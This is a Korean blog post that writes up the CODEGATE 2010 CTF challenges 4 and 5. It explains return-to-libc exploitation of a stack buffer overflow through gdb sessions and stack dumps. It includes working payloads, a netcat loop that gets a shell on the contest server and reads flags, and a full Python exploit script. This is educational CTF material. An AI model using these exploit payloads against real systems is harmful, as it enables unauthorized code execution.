System

CODEGATE 2010 CHALLENGE 4, 5 (RTL)

http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/ 위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다. RTL을 이해하는데 도움이 될 거 같네요...

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) b main
Breakpoint 1 at 0x804850e
(gdb) r
Starting program: /tmp/by/easy

Breakpoint 1, 0x0804850e in main ()
(gdb) x/x execl
0x1ea0c0 <execl>:       0x53565755
(gdb) q

execl 주소를 확인하여 보면 0x1ea0c0 이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x0804850b <main+0>:    push   %ebp
0x0804850c <main+1>:    mov    %esp,%ebp
0x0804850e <main+3>:    and    $0xfffffff0,%esp
0x08048511 <main+6>:    sub    $0x20,%esp
0x08048514 <main+9>:    movl   $0x0,0x1c(%esp)
0x0804851c <main+17>:   mov    $0x8048640,%eax
0x08048521 <main+22>:   mov    %eax,(%esp)
0x08048524 <main+25>:   call   0x8048408 <printf@plt>
0x08048529 <main+30>:   movl   $0x0,(%esp)
0x08048530 <main+37>:   call   0x80483e8 <fflush@plt>
0x08048535 <main+42>:   mov    0x804a024,%eax
0x0804853a <main+47>:   mov    %eax,%edx
0x0804853c <main+49>:   lea    0x18(%esp),%eax
0x08048540 <main+53>:   mov    %edx,0x8(%esp)
0x08048544 <main+57>:   mov    %eax,0x4(%esp)
0x08048548 <main+61>:   lea    0x1c(%esp),%eax
0x0804854c <main+65>:   mov    %eax,(%esp)
0x0804854f <main+68>:   call   0x80483d8 <getline@plt>
0x08048554 <main+73>:   mov    0x18(%esp),%edx
0x08048558 <main+77>:   mov    0x1c(%esp),%eax
0x0804855c <main+81>:   mov    %edx,0x4(%esp)
0x08048560 <main+85>:   mov    %eax,(%esp)
0x08048563 <main+88>:   call   0x80484e4 <func>
0x08048568 <main+93>:   movl   $0x8048648,(%esp)
0x0804856f <main+100>:  call   0x8048418 <puts@plt>
0x08048574 <main+105>:  leave
0x08048575 <main+106>:  ret
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   %ebp
0x080484e5 <func+1>:    mov    %esp,%ebp
0x080484e7 <func+3>:    sub    $0x118,%esp
0x080484ed <func+9>:    mov    0xc(%ebp),%eax
0x080484f0 <func+12>:   mov    %eax,0x8(%esp)
0x080484f4 <func+16>:   mov    0x8(%ebp),%eax
0x080484f7 <func+19>:   mov    %eax,0x4(%esp)
0x080484fb <func+23>:   lea    -0x108(%ebp),%eax
0x08048501 <func+29>:   mov    %eax,(%esp)
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r
Starting program: /tmp/by/easy
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c:     0x08048568      0x0804b008      0x00000078      0x002ef420
0xbffff75c:     0xbffff778      0x001dd345      0x0019ed20      0x00000078
0xbffff76c:     0x0804b008     0x08048590      0x00000000      0xbffff7f8
0xbffff77c:     0x001c4b56      0x00000001      0xbffff824      0xbffff82c
0xbffff78c:     0x0053b858      0xbffff7e0      0xffffffff      0x001acff4
0xbffff79c:     0x080482dd      0x00000001      0xbffff7e0      0x0019e326
0xbffff7ac:     0x001ad828      0x0053bb40      0x002eeff4      0x00000000
0xbffff7bc:     0x00000000      0xbffff7f8      0xcc6d256e      0x0b141211
(gdb) x/32wx 0x0804b008
0x804b008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b028:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b038:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b048:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b058:      0x41414141      0x41414141      0x41414141      0x000a4141
0x804b068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b078:      0x00000000      0x00000000      0x00000000      0x00020f81
(gdb)

위 주소에서 0x0804b008 주소에 입력한 'A' 값이 들어감을 확인하였다. 그리고 위 주소들은 execl() 또는 system() 의 인자로 구성되기에 알맞은 구조로 되어 있다. (마지막이 NULL (0x00)으로 구성되어 있으므로...)

따라서 ret를 이용하여 esp를 끌어올려 execl() 함수의 위치를 맞추어 원하는 인자를 넣어 보도록 하자. 공격은 코드의 구성은 아래와 같다. [/bin/sh\x00] + [A, 260] + [ret * ?] + [execl()]

gdb 에서 argv를 인자로 줄 때는 "r 인자"로 구성하면 되지만 scanf(), getline() 등의 함수로 인자를 받을 시 gdb 내에서 입력하기가 곤란하다. 따라서 아래와 같이 리다이렉트를 통해 입력하면 된다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

hugh@codegate-desktop:/tmp/by$ python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*1 + '\xc0\x70\x1a\x00'" > payload
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   %ebp
0x080484e5 <func+1>:    mov    %esp,%ebp
0x080484e7 <func+3>:    sub    $0x118,%esp
0x080484ed <func+9>:    mov    0xc(%ebp),%eax
0x080484f0 <func+12>:   mov    %eax,0x8(%esp)
0x080484f4 <func+16>:   mov    0x8(%ebp),%eax
0x080484f7 <func+19>:   mov    %eax,0x4(%esp)
0x080484fb <func+23>:   lea    -0x108(%ebp),%eax
0x08048501 <func+29>:   mov    %eax,(%esp)
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r < payload
Starting program: /tmp/by/easy < payload
Input:
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c:     0x08048575      0x001a70c0      0x0000000a      0x00ad2420
0xbffff75c:     0xbffff778      0x009c0345      0x00505d20      0x00000116
0xbffff76c:     0x0804b008      0x08048590      0x00000000      0xbffff7f8
0xbffff77c:     0x009a7b56      0x00000001      0xbffff824      0xbffff82c
0xbffff78c:     0x00213858      0xbffff7e0      0xffffffff      0x00513ff4
0xbffff79c:     0x080482dd      0x00000001      0xbffff7e0      0x00505326
0xbffff7ac:     0x00514828      0x00213b40      0x00ad1ff4      0x00000000
0xbffff7bc:     0x00000000      0xbffff7f8      0xa3451f93      0x685c28ed
(gdb) x/s 0x0804b008
0x804b008:       "/bin/sh"
(gdb)

현재 ret주소에 main의 ret 코드 주소를 넣어 esp+4의 위치를 참조하게 된다. esp+4의 위치는 execl() 함수 주소 이다. 그렇다면 execl() 함수의 인자가 다음에 오게 되는데... 우리가 원하는 "/bin/sh" 인자는 6번째 떨어진 위치에 존재한다. 따라서 ret를 6개 입력을 하여 다시 공격을 해보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

hugh@codegate-desktop:/tmp/by$ python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'" > payload
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   %ebp
0x080484e5 <func+1>:    mov    %esp,%ebp
0x080484e7 <func+3>:    sub    $0x118,%esp
0x080484ed <func+9>:    mov    0xc(%ebp),%eax
0x080484f0 <func+12>:   mov    %eax,0x8(%esp)
0x080484f4 <func+16>:   mov    0x8(%ebp),%eax
0x080484f7 <func+19>:   mov    %eax,0x4(%esp)
0x080484fb <func+23>:   lea    -0x108(%ebp),%eax
0x08048501 <func+29>:   mov    %eax,(%esp)
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r < payload
Starting program: /tmp/by/easy < payload
Input:
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c:     0x08048575      0x08048575      0x08048575      0x08048575
0xbffff75c:     0x08048575      0x08048575      0x001a70c0      0x0000000a
0xbffff76c:     0x0804b008      0x08048590      0x00000000      0xbffff7f8
0xbffff77c:     0x00126b56      0x00000001      0xbffff824      0xbffff82c
0xbffff78c:     0x00c8c858      0xbffff7e0      0xffffffff      0x0065fff4
0xbffff79c:     0x080482dd      0x00000001      0xbffff7e0      0x00651326
0xbffff7ac:     0x00660828      0x00c8cb40      0x00250ff4      0x00000000
0xbffff7bc:     0x00000000      0xbffff7f8      0xd9ad8518      0x0294b267
(gdb) x/s 0x0804b008
0x804b008:       "/bin/sh"
(gdb)

인자가 제대로 구성이 된것을 확인할 수 있었다. 이제 공격을 해보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

byjjoon@Ubuntu:~/Padocon$ while true; do (python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'"; cat) | nc ctf4.codegate.org 9000; done
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:

id
uid=1003(easy) gid=1003(easy)
cat /home/easy/flag.txt
bc15d4ddf6ca486682064ad226a7ff1b  -

똑같이 5번 문제도 같은 방식으로 풀린다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

byjjoon@Ubuntu:~/Padocon$ while true; do (python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'"; cat) | nc ctf4.codegate.org 9001; done
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:

id
uid=1004(harder) gid=1004(harder)
cat /home/harder/flag.txt
e2e4cb6adc9cd761dcde774f84529591  -

아래 코드는 system() 함수를 이용하여 작성한 exploit 코드 이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

#!/usr/bin/python
import sys
import socket
import time
from struct import pack

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    a = s.recv(128)
    print '[+] Receive - %s' % a
    time.sleep(2)
    print '[+] Sending Payload'
    s.send(payload)
    time.sleep(2)
    print s.recv(512)
    s.close()

def main():
    host = 'ctf4.codegate.org'
    port = 9000

    payload = ''
    payload += 'cat /home/easy/flag.txt\x00'
    payload += 'A'*244
    payload += pack('L', 0x08048575) * 6 # ret
    payload += pack('L', 0x149020) # system()
    payload += '\n'

    send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

1
2
3
4
5
6
7
8

byjjoon@Ubuntu:~/Padocon$ ./exploit_3.py
[+] Strat!
[+] Connect - ctf4.codegate.org:9000
[+] Receive - Input:
[+] Sending Payload
bc15d4ddf6ca486682064ad226a7ff1b  -

byjjoon@Ubuntu:~/Padocon$
© 2009 - 2026 ByJJoon's Lab
Hugo로 만듦
Jimmy의 Stack 테마 사용 중